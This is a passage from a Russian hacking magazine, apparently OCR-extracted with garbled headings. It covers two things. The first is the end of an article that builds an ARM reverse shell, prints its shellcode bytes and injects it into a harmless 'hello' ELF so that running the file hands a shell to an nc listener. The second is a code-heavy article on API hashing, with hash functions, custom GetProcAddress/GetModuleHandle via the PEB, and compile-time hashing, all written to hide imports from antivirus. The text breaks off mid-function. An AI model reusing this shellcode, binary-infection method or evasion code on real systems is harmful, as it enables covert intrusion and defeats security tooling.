.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address

binsh:
.ascii "/bin/sh"

Компилируем и проверяем на каком-нибудь таргете. На стороне хакера


открываем TCP-подключение:

$ nc -lvnp 444
Listening on 0.0.0.0 4444

Компилируем и запускаем приложение у жертвы:

as rs.asm -o rs.o
ld rs.o -o rs.bin
./rs.bin

На стороне хакера видим следующее:

Connection received on xxx.xxx.xxx.xxx xxxxx


$ whoami
whoami
pi

ÈÍÚÅÊÖÈß ØÅËË-ÊÎÄÀ

После инъекции шелл-кода можно считать, что мы создали полноценную мал-


варь. Для получения байтов шелл-кода спарсим бинарь:

objcopy -O binary rs.bin rs_bytes.bin

Этой командой мы вытащим основную часть бинаря, то есть сам шелл-код:

$ xxd rs_bytes.bin
00000000: 0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 ......... B..p..
00000010: 5170 87e2 0100 00ef 0040 a0e1 3410 8fe2 Qp.......@..4...
00000020: 1020 a0e3 0270 87e2 0100 00ef 0400 a0e1 . ...p..........
00000030: 0110 41e0 0770 47e0 3f70 a0e3 0000 00ef ..A..pG.?p......
00000040: 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1 ................
00000050: 0110 81e2 0000 00ef 02ff 115c 0a21 4507 ............!E.

Затем выполним инъекцию при помощи программы KillerQueen, описание


работы программы ты найдешь на ее странице на GitHub.
На стороне пользователя мы задействуем незамысловатую программу:

#include <stdio.h>

int main()
{
puts("Hello, ][akep!");
return 0;
}

Скомпилирую ее в Raspberry Pi:

$ gcc hello_xakep.c -o hello_xakep.bin -no-pie


$ file hello_xakep.bin
hello_xaker.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux
3.2.0, BuildID[sha1]=1d0e0528aa357a184a069a0ef77b138b89fed21b, not
stripped

Запускаем KillerQueen и вставляем туда сам шелл-код:

0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 5170 87e2 0100 00ef 0040
a0e1 3410 8fe21020 a0e3 0270 87e2 0100 00ef 0400 a0e10110 41e0 0770
47e0 3f70 a0e3 0000 00ef 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1
0110 81e2 0000 00ef 02ff 115c 0a21 4507

Далее загружаем в нее подставную программу hello_xakep.bin.

Логи подтверждают, что прога загружена.

Выбираем Tools → ELFInject. После этого у программы появится новая точка


входа, а мы увидим сообщение, что шелл-код инъектирован.

Посмотрим, как это выглядит в IDA Pro.

Как можно заметить, здесь теперь расположена новая секция start, и прог-
рамма первым делом зайдет именно в нее. А там лежит реверс-шелл.

Запускаем зараженную программу на устройстве жертвы. Хакер тем вре-


менем открыл подключение и получил доступ к командной оболочке:

./hello_xaker.bin

$ nc -lvnp 4444
Connection received on xxx.xxx.xxx.xxx xxxxx
$ whoami
whoami
pi

ÂÛÂÎÄÛ

Мы узнали, как написать свой реверс-шелл для устройства на базе ARM.


Исследования в области безопасности ARM-систем очень актуальны, осо-
бенно из-за того, что устройств на базе этих процессоров появляется все
больше и больше. Безусловно, описанный в статье эксперимент довольно
прост, но, как говорили древние мудрецы, долгий путь начинается с одного
шага.
КОДИНГ

РЕАЛИЗУЕМ ТЕХНИКУ
API HASHING, ЧТОБЫ
ОБДУРИТЬ АНТИВИРУС

В этой статье мы с тобой напишем пол-


ноценную пермутирующую реализацию тех-
ники API Hashing, что позволит раз и нав-
сегда скрыть импорты от глаз антивируса.
Впервые технику API Hashing я увидел MichelleVermishelle
@Michaelzhm
в вирусе-шифровальщике Revil, проблема michael.zhmailo@yandex.ru

лишь в том, что хеши от функций были впи-


саны в код, а это позволяет легко создавать
сигнатуры. Давай сделаем так, чтобы все
данные генерировались на лету, тогда
у антивируса не будет шансов!

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

В прошлой статье я рассмотрел варианты сокрытия IAT путем получения


адресов функции и их вызова «напрямую» через LoadLibrary()
и GetProcAddress(), но проблема в том, что сами строки, содержащие име-
на функций, никак не спрятаны. Поэтому любой уважающий себя антивирус-
ный продукт все равно сможет понять, что мы задумали.

Никакой скрытности

Всем понятно, что вызывается

Чтобы предотвратить это, добрые хакеры придумали технику API Hashing,


с которой сейчас и познакомимся.

ÏÐÎÑÒÅÉØÈÉ API HASHING

Раньше мы получали адрес нужной функции через кастомный


GetProcAddress(). Вот как это выглядит.

FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {


PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule
+ dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exportDirectory = (
PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
ntHeaders->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule +
exportDirectory->AddressOfFunctions);
WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule +
exportDirectory->AddressOfNameOrdinals);
DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory
->AddressOfNames);
for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
if (strcmp(lpProcName, (const char*)hModule + addressOfNames[
i]) == 0) {
return (FARPROC)((BYTE*)hModule + addressOfFunctions[
addressOfNameOrdinals[i]]);
}
}
return NULL;
}

API Hashing заключается в том, что мы вместо имени функции (lpProcName)


будем передавать хеш от нее. Фактически изменится лишь следующая стро-
ка.

if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0


)

И станет вот такой:

if (strcmp(lpProcName, HASH((const char*)hModule + addressOfNames[i])


) == 0)

Аналогичным образом все происходит и с GetModuleHandle().


Но что это вообще за хеш, откуда его взять? Хеш генерируется с помощью
конкретного алгоритма хеширования, можешь выбрать любой на свой вкус.
Приведу несколько примеров.

ÂÛÁÎÐ ÀËÃÎÐÈÒÌÀ

Итак, берем алгоритм Djb2. Это очень быстрый алгоритм хеширования.

hash = ((hash << 5) + hash) + c

• hash — текущее значение хеша;


• << — сдвиг вправо;
• c — текущее значение символа в строке.

Вот функция, которая позволяет хешировать строку.

#include <Windows.h>
#include <iostream>

#define INITIAL_HASH 3731 // Для рандомизации


#define INITIAL_SEED 7

// ASCII
DWORD HashStringDjb2A(_In_ PCHAR String)
{
ULONG Hash = INITIAL_HASH;
INT c;
while (c = *String++)
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
return Hash;
}

// Unicode
DWORD HashStringDjb2W(_In_ PWCHAR String)
{
ULONG Hash = INITIAL_HASH;
INT c;

while (c = *String++)
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
return Hash;
}

int main() {
LPWSTR str = (LPWSTR)L"HelloWorld";
std::cout << HashStringDjb2W(str);
return 0;
}

Теперь давай попробуем алгоритм JenkinsOneAtATime32Bit. Он перебирает


символы входной строки и постепенно обновляет хеш-значение в соответс-
твии с каждым полученным символом.

hash += c;
hash += (hash << 10);
hash ^= (hash >> 6);

• hash — текущее значение хеша;


• c — текущее значение символа в строке.

Код с функцией.

#include <Windows.h>
#include <iostream>

#define INITIAL_SEED 7

// ASCII
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenA(String);

while (Index != Length)


{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}

// Unicode
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenW(String);

while (Index != Length)


{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}

Hash += Hash << 3;


Hash ^= Hash >> 11;
Hash += Hash << 15;

return Hash;
}
int main() {
LPWSTR str = (LPWSTR)L"HelloWorld";
std::cout << HashStringJenkinsOneAtATime32BitW(str);
return 0;
}

Не утомился? Давай посмотрим еще один пример. В каком-то проекте, чуть


ли не в Hell’s Gate, я встречал алгоритм LoseLose. Он вычисляет хеш-зна-
чение входной строки, перебирая каждый символ в ней и суммируя значения
ASCII каждого символа.

hash = 0;
hash += c; // Для каждого символа в строке

Хеш-значение, полученное в результате алгоритма LoseLose, представляет


собой целое число, уникальное для входной строки. Но все равно есть веро-
ятность коллизии. Чтобы решить эту проблему, формула алгоритма была
обновлена, как показано ниже.

hash = 0;
hash += c;
hash *= c + 2;

Вот пример функции, которая генерирует подобный хеш.

#include <Windows.h>
#include <iostream>
#define INITIAL_SEED 2

// ASCII
DWORD HashStringLoseLoseA(_In_ PCHAR String)
{
ULONG Hash = 0;
INT c;
while (c = *String++) {
Hash += c;
Hash *= c + INITIAL_SEED;
}
return Hash;
}

// Unicode
DWORD HashStringLoseLoseW(_In_ PWCHAR String)
{
ULONG Hash = 0;
INT c;
while (c = *String++) {
Hash += c;
Hash *= c + INITIAL_SEED;
}
return Hash;
}
int main() {
LPWSTR str = (LPWSTR)L"HelloWorld";
std::cout << HashStringLoseLoseW(str);
return 0;
}

И, думаю, последний вариант — Rotr32().

#include <Windows.h>
#include <iostream>
#define INITIAL_SEED 5
UINT32 HashStringRotr32SubA(UINT32 Value, UINT Count)
{
DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}

INT HashStringRotr32A(_In_ LPCSTR String)


{
INT Value = 0;
for (INT Index = 0; Index < strlen(String); Index++)
Value = String[Index] + HashStringRotr32SubA(Value, 7);
return Value;
}

UINT32 HashStringRotr32SubW(UINT32 Value, UINT Count)


{
DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}

INT HashStringRotr32W(_In_ LPCWSTR String)


{
INT Value = 0;
for (INT Index = 0; Index < wcslen(String); Index++)
Value = String[Index] + HashStringRotr32SubW(Value, 7);
return Value;
}

int main() {
LPWSTR str = (LPWSTR)L"HelloWorld";
std::cout << HashStringRotr32W(str);

return 0;
}

Для API Hashing ты просто инициализируешь строку с именем функции,


а затем загоняешь в любой из описанных выше алгоритмов. После получения
хеша ты должен добавить его в свою программу и, используя кастомный
GetProcAddress(), искать адрес нужной функции.
Переходим к демонстрации.

Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ

РЕАЛИЗУЕМ ТЕХНИКУ
API HASHING, ЧТОБЫ ОБДУРИТЬ АНТИВИРУС

ÏÐÈÌÅÐ

Не будем умничать со сложными апихами, возьмем тот же MessageBoxA()


из USER32.DLL. В качестве алгоритма я буду использовать
JenkinsOneAtATime32Bit. Сначала генерируем хеши.

#include <Windows.h>
#include <iostream>

#define INITIAL_SEED 7
#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))
#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenA(String);

while (Index != Length)


{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}

Hash += Hash << 3;


Hash ^= Hash >> 11;
Hash += Hash << 15;

return Hash;
}

UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)


{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenW(String);

while (Index != Length)


{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}

Hash += Hash << 3;


Hash ^= Hash >> 11;
Hash += Hash << 15;

return Hash;
}
int main() {
printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "USER32.DLL", HASHA(
"USER32.DLL"));
printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "MessageBoxA", HASHA(
"MessageBoxA"));

return 0;
}

Обрати внимание на то, как я добавил макросы HASHA(). Макрос — такая


строка, которая будет замещена другой строкой во время выполнения. Объ-
явление у макроса начинается с ключевого слова #define.

#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))

Этот макрос называется HASHA, он принимает один параметр с именем API.


При компиляции на месте макроса появляется такая строка:

HashStringJenkinsOneAtATime32BitA((PCHAR) API)

Например, в нашем коде внутри функции printf() используется макрос


HASHA, поэтому при компиляции на этом месте возникнет вызов нужной фун-
кции.

// До компиляции
printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "USER32.DLL", HASHA(
"USER32.DLL"));

// После компиляции
printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "USER32.DLL",
HashStringJenkinsOneAtATime32BitA((PCHAR)"USER32.DLL"));

Макросы сыграют очень важную роль, как только мы дойдем до продвинутого


API Hashing, в котором хеши будут генерироваться на лету во время ком-
пиляции. Тем временем пока просто записываем в блокнот вывод прог-
раммы.

Сгенерированные хеши

Теперь переходим к изменению функций GetProcAddress()


и GetModuleHandle(), чтобы они принимали хеш от функции. Начнем
по порядку.

FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

if (hModule == NULL || dwApiNameHash == NULL)


return NULL;

PBYTE pBase = (PBYTE)hModule;

PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;


if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase +


pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;

IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;

PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)


(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);

PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->


AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->
AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->
AddressOfNameOrdinals);

for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {


CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase +
FunctionAddressArray[FunctionOrdinalArray[i]]);

if (dwApiNameHash == HASHA(pFunctionName)) {
return (FARPROC)pFunctionAddress;
}
}
return NULL;
}

Значительных изменений не требуется, все самое важное — в предпослед-


них строках.

if (dwApiNameHash == HASHA(pFunctionName)) {
return (FARPROC)pFunctionAddress;

Здесь сравнивается переданный в функцию хеш с хешем от имени экспор-


тируемой функции в DLL. Например, если мы ранее сгенерировали хеш
от MessageBoxA() (пусть он получился равным 0xABC), то здесь этот хеш
сравнивается с хешем от имени экспортируемых из библиотек функций.
Пусть библиотека экспортирует еще функции MessageBoxW()
и CreateProcess(). Хеши от этих функций будут отличаться от хеша от фун-
кции MessageBoxA() (у MessageBoxW() это 0xAAA, а у CreateProcess() —
0xBBB), поэтому код не будет возвращать их адрес, но, как только дело дой-
дет до хеша от функции MessageBoxA(), он совпадет с ранее сгенерирован-
ным значением и нам вернется адрес функции, которую мы ищем.
Теперь изменяем GetModuleHandle().

HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {

if (dwModuleNameHash == NULL)
return NULL;

#ifdef _WIN64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif

PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);


PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->
InMemoryOrderModuleList.Flink);

while (pDte) {

if (pDte->FullDllName.Length != NULL && pDte->FullDllName.


Length < MAX_PATH) {

CHAR UpperCaseDllName[MAX_PATH];

DWORD i = 0;
while (pDte->FullDllName.Buffer[i]) {
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName
.Buffer[i]);
i++;
}
UpperCaseDllName[i] = '\0';

if (HASHA(UpperCaseDllName) == dwModuleNameHash)
return (HMODULE)pDte->Reserved2[0];
}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
return NULL;
}

Наконец можно считать, что все готово. Нам достаточно сгенерировать хеш
от имени DLL, а также от имени функции, которую хотим вызвать, после чего
сохранить значения в исходном коде, скомпилировать и насладиться резуль-
татом.

#include <Windows.h>
#include <iostream>
#include <winternl.h>

#define INITIAL_SEED 7
#define USER32DLL_HASH 0x81E3778E
#define MessageBoxA_HASH 0xF10E27CA
#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))
#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))

typedef UINT(CALLBACK* fnMessageBoxA)(


HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)


{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenA(String);

while (Index != Length)


{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}

Hash += Hash << 3;


Hash ^= Hash >> 11;
Hash += Hash << 15;

return Hash;
}

UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)


{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenW(String);

while (Index != Length)


{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;

return Hash;
}

FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

if (hModule == NULL || dwApiNameHash == NULL)


return NULL;

PBYTE pBase = (PBYTE)hModule;

PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;


if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase +


pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;

IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;

PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)


(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);

PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->


AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->
AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->
AddressOfNameOrdinals);

for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {


CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase +
FunctionAddressArray[FunctionOrdinalArray[i]]);

if (dwApiNameHash == HASHA(pFunctionName)) {
return (FARPROC)pFunctionAddress;
}
}
return NULL;
}
HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {

if (dwModuleNameHash == NULL)
return NULL;

#ifdef _WIN64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif

PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);


PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->
InMemoryOrderModuleList.Flink);

while (pDte) {

if (pDte->FullDllName.Length != NULL && pDte->FullDllName.


Length < MAX_PATH) {

CHAR UpperCaseDllName[MAX_PATH];

DWORD i = 0;
while (pDte->FullDllName.Buffer[i]) {
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName
.Buffer[i]);
i++;
}
UpperCaseDllName[i] = '\0';

if (HASHA(UpperCaseDllName) == dwModuleNameHash)
return (HMODULE)pDte->Reserved2[0];
}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
return NULL;
}

int main() {
if (LoadLibraryA("USER32.DLL") == NULL) {
printf("[!] LoadLibraryA Failed With Error : %d \n",
GetLastError());
return 0;
}

HMODULE hUser32Module = GetModuleHandleH(USER32DLL_HASH);


if (hUser32Module == NULL) {
printf("[!] Cound'nt Get Handle To User32.dll \n");
return -1;
}

fnMessageBoxA pMessageBoxA = (fnMessageBoxA)GetProcAddressH(


hUser32Module, MessageBoxA_HASH);
if (pMessageBoxA == NULL) {
printf("[!] Cound'nt Find Address Of Specified Function \n");
return -1;
}
pMessageBoxA(NULL, "HI", "HI", MB_OK | MB_ICONEXCLAMATION);
return 0;
}

Здесь я использовал функцию LoadLibrary(), чтобы целевая библиотека


точно находилась в адресном пространстве нашего процесса.

Результат работы

Вот и всё! Ты научился вызывать функции по их хешу. Правда, согласись,


не очень удобно каждый раз генерировать хеш, затем перекомпилировать
проект. Плюс антивирусы могут повесить свой статический детект на строку
с хешем. Поэтому пора переходить к API Hashing во время компиляции.

Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ

РЕАЛИЗУЕМ ТЕХНИКУ
API HASHING, ЧТОБЫ ОБДУРИТЬ АНТИВИРУС

COMPILE-TIME API HASHING

Хеши можно генерировать на лету во время компиляции программы. Для это-


го используются специальные макросы с функциями constexpr, которые воз-
вращают результат во время компиляции. Для разнообразия предлагаю
использовать алгоритм шифрования Djb2. Берем две функции по шиф-
рованию ASCII и Unicode, добавляем к ним ключевое слово constexpr.

#define SEED 5

// Unicode
constexpr DWORD HashStringDjb2W(const wchar_t* String) {
ULONG Hash = (ULONG)g_KEY;
INT c = 0;
while ((c = *String++)) {
Hash = ((Hash << SEED) + Hash) + c;
}

return Hash;
}

// ASCII
constexpr DWORD HashStringDjb2A(const char* String) {
ULONG Hash = (ULONG)g_KEY;
INT c = 0;
while ((c = *String++)) {
Hash = ((Hash << SEED) + Hash) + c;
}
return Hash;
}

Обрати внимание, что здесь мы используем некоторую переменную g_KEY.


Она будет нашим динамическим ключом. Переменная, само собой, обязана
быть глобальной. Пусть ключ зависит от макроса __TIME__.

constexpr int RandomCompileTimeSeed(void)


{
return '0' * -40271 +
__TIME__[7] * 1 +
__TIME__[6] * 10 +
__TIME__[4] * 60 +
__TIME__[3] * 600 +
__TIME__[1] * 3600 +
__TIME__[0] * 36000;
};
constexpr auto g_KEY = RandomCompileTimeSeed() % 0xFF;

Благодаря динамичности ключа мы можем рандомизировать генерируемый


хеш.
Теперь переходим к макросам, на которых работает вся магия. Первая
пара макросов нужна для генерации хешей на основе переданной в них стро-
ки.

#define RTIME_HASHA( API ) HashStringDjb2A((const char*) API)


#define RTIME_HASHW( API ) HashStringDjb2W((const wchar_t*) API)

Как видишь, эти макросы не особо отличаются от макросов, используемых


в примере для простого API Hashing. Вторая же пара макросов сгенерирует
для нас переменные (да, полноценные переменные), внутри которых будут
лежать динамически сгенерированные хеши от имени DLL и имени функции
соответственно.

#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A =


HashStringDjb2A((const char*) #API);
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W =
HashStringDjb2W((const wchar_t*) L#API);

Разберем макрос подробнее:


• CTIME_HASHW — название макроса;
• API — переменная, которая попадает в макрос (строка);
• constexpr auto — начало объявления переменной, которая будет
содержать хеш;
• API##_Rotr32W — имя переменной. ## служит для «склеивания». Я
покажу ниже, как это выглядит в коде;
• = HashStringDjb2W((const wchar_t*) L#API) — целевая функция,
возвращающая хеш-значение от строки.

Суем функции в Visual Studio и смотрим на результат.

#include <Windows.h>
#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A =
HashStringDjb2A((const char*) #API);
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W =
HashStringDjb2W((const wchar_t*) L#API);

constexpr int RandomCompileTimeSeed(void)


{
return '0' * -40271 +
__TIME__[7] * 1 +
__TIME__[6] * 10 +
__TIME__[4] * 60 +
__TIME__[3] * 600 +
__TIME__[1] * 3600 +
__TIME__[0] * 36000;
};

constexpr auto g_KEY = RandomCompileTimeSeed() % 0xFF;

#define SEED 5
// Unicode
constexpr DWORD HashStringDjb2W(const wchar_t* String) {
ULONG Hash = (ULONG)g_KEY;
INT c = 0;
while ((c = *String++)) {
Hash = ((Hash << SEED) + Hash) + c;
}

return Hash;
}

// ASCII
constexpr DWORD HashStringDjb2A(const char* String) {
ULONG Hash = (ULONG)g_KEY;
INT c = 0;
while ((c = *String++)) {
Hash = ((Hash << SEED) + Hash) + c;
}

return Hash;
}
int main() {
CTIME_HASHA(MessageBoxA); // Фактически на этом месте появляется
constexpr auto MessageBoxA_Rotr32A = HashStringDjb2A(MessageBoxA);
return 0;
}

Если ты наведешь мышкой курсор на CTIME_HASHA, то увидишь, во что рас-


ширится этот макрос во время компиляции.

Как выглядят макросы

Фактически идет неявная инициализация в коде переменной


MessageBoxA_Rotr32A, а значение ее берется из вызова функции по хеширо-
ванию.
К сожалению, с DLL чуть сложнее. Если мы в макрос CTIME_HASHA переда-
дим User32.dll, то должна будет появиться следующая строка.

constexpr auto User32.dll_Rotr32A = HashStringDjb2A("User32.dll");

То есть идет обращение к элементу dll_Rotr32A класса User32 (по крайней


мере, так думает компилятор). Никакого класса и уж тем более элементов
в нем нет. Поэтому предлагаю для DLL завести отдельный макрос, а в макрос
этот скармливать имя DLL без .dll.

#define CTIME_DLLHASHA(API) constexpr auto API##_FuncA =


HashStringDjb2A((const char*) #API);
...
CTIME_DLLHASHA(USER32); // Фактически на этом месте появляется
constexpr auto User32_FuncA = HashStringDjb2A(User32);

А позже в функции обнаружения DLL по хешу генерируем хеш так же, без пос-
ледних четырех символов (то есть без .dll). На их место добавляем знак
завершения строки.

UpperCaseDllName[i - 4] = '\0';
if (RTIME_HASHA(UpperCaseDllName) == dwModuleNameHash)
return (HMODULE)pDte->Reserved2[0];

Наконец у нас все готово, чтобы провернуть API Hashing в режиме Compile-
Time!

ÏÐÈÌÅÐ

Собираем всё в один проект, закидываем в «Студию» и запускаем.

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <string>

#define SEED 5
typedef UINT(CALLBACK* fnMessageBoxA)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

constexpr int RandomCompileTimeSeed(void)


{
return '0' * -40271 +
__TIME__[7] * 1 +
__TIME__[6] * 10 +
__TIME__[4] * 60 +
__TIME__[3] * 600 +
__TIME__[1] * 3600 +
__TIME__[0] * 36000;
};

constexpr auto g_KEY = RandomCompileTimeSeed() % 0xFF;

constexpr DWORD HashStringDjb2W(const wchar_t* String) {


ULONG Hash = (ULONG)g_KEY;
INT c = 0;
while ((c = *String++)) {
Hash = ((Hash << SEED) + Hash) + c;
}
return Hash;
}

constexpr DWORD HashStringDjb2A(const char* String) {


ULONG Hash = (ULONG)g_KEY;
INT c = 0;
while ((c = *String++)) {
Hash = ((Hash << SEED) + Hash) + c;
}

return Hash;
}

#define RTIME_HASHA( API ) HashStringDjb2A((const char*) API)


#define RTIME_HASHW( API ) HashStringDjb2W((const wchar_t*) API)

#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A =


HashStringDjb2A((const char*) #API);
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W =
HashStringDjb2W((const wchar_t*) L#API);
#define CTIME_DLLHASHA(API) constexpr auto API##_FuncA =
HashStringDjb2A((const char*) #API);

HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {

if (dwModuleNameHash == NULL)
return NULL;

#ifdef _WIN64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif

PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);


PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->
InMemoryOrderModuleList.Flink);

while (pDte) {

if (pDte->FullDllName.Length != NULL && pDte->FullDllName.


Length < MAX_PATH) {

CHAR UpperCaseDllName[MAX_PATH];

DWORD i = 0;
while (pDte->FullDllName.Buffer[i]) {
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName
.Buffer[i]);
i++;
}
UpperCaseDllName[i - 4] = '\0';

if (RTIME_HASHA(UpperCaseDllName) == dwModuleNameHash)
return (HMODULE)pDte->Reserved2[0];

}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
return NULL;
}

FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

PBYTE pBase = (PBYTE)hModule;

PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;


if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase +


pImgDosHdr->e_lfanew);
